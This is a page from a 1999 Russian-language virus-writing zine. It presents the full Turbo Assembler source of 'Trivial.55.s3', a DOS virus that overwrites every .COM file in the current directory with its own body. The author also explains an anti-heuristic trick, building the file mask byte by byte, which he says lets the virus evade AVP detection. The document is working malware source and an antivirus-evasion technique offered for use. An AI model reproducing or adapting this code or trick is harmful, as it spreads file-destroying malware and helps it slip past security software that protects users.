- [Duke's Virus Labs #5] - [Page 13] - Trivial.55.s3 (c) by Duke/SMF Имя вируса : Trivial.55.s3 Автор : Duke/SMF Язык прогр. : Turbo Assembler Дата создания : 07.02.99 Очередная разработка в области Trivial-вирусов. На этот раз вирус демонстрирует антиэвристический прием. Программа AVP не находит в вирусе ничего подозрительного. А я всего-то заменил команды mov dx,offset file_spec ....................... file_spec db '*.com',0 на команды mov di,ax mov dx,ax mov al,'*' stosb mov al,'.' stosb mov al,'c' stosb mov al,'o' stosb mov al,'m' stosb mov al,0 stosb Придется господину Касперскому шлифовать свою эвристику - ведь DrWeb находит в вирусе COM.Virus... ===== Cut here ===== ; Trivial.55.s3 (c) by Duke/SMF ; Greetz to RedArc/TAVC ; Поражает все *.COM файлы в текущей директории. .model tiny .code org 100h virus_length equ finish - start ;Длина вируса start : ;Начало вируса mov ah,4Eh ;Поиск первого файла ;Запихиваем в DX маску файла ;Этакий антиэвристический прием :) mov di,ax mov dx,ax mov al,'*' stosb mov al,'.' stosb mov al,'c' stosb mov al,'o' stosb mov al,'m' stosb mov al,0 stosb infect: int 21h jnc infect_file ;Если файл найден, то поражаем, ret ;в противном случае конец работы. infect_file: mov ax,3D01h ;Открываем файл для записи mov dx,9Eh ;DX указывает на найденный файл int 21h xchg bx,ax ;BX содержит файловый handle mov ah,40h ;Функция записи в файл mov cl,virus_length ;CL = сколько байт писать mov dx,offset start ;DX = начало кода вируса int 21h mov ah,3Eh ;Закрываем файл int 21h mov ah,4Fh ;Поиск следующего файла jmp infect ;Переход на заражение finish : ;Конец вируса end start ===== Cut here =====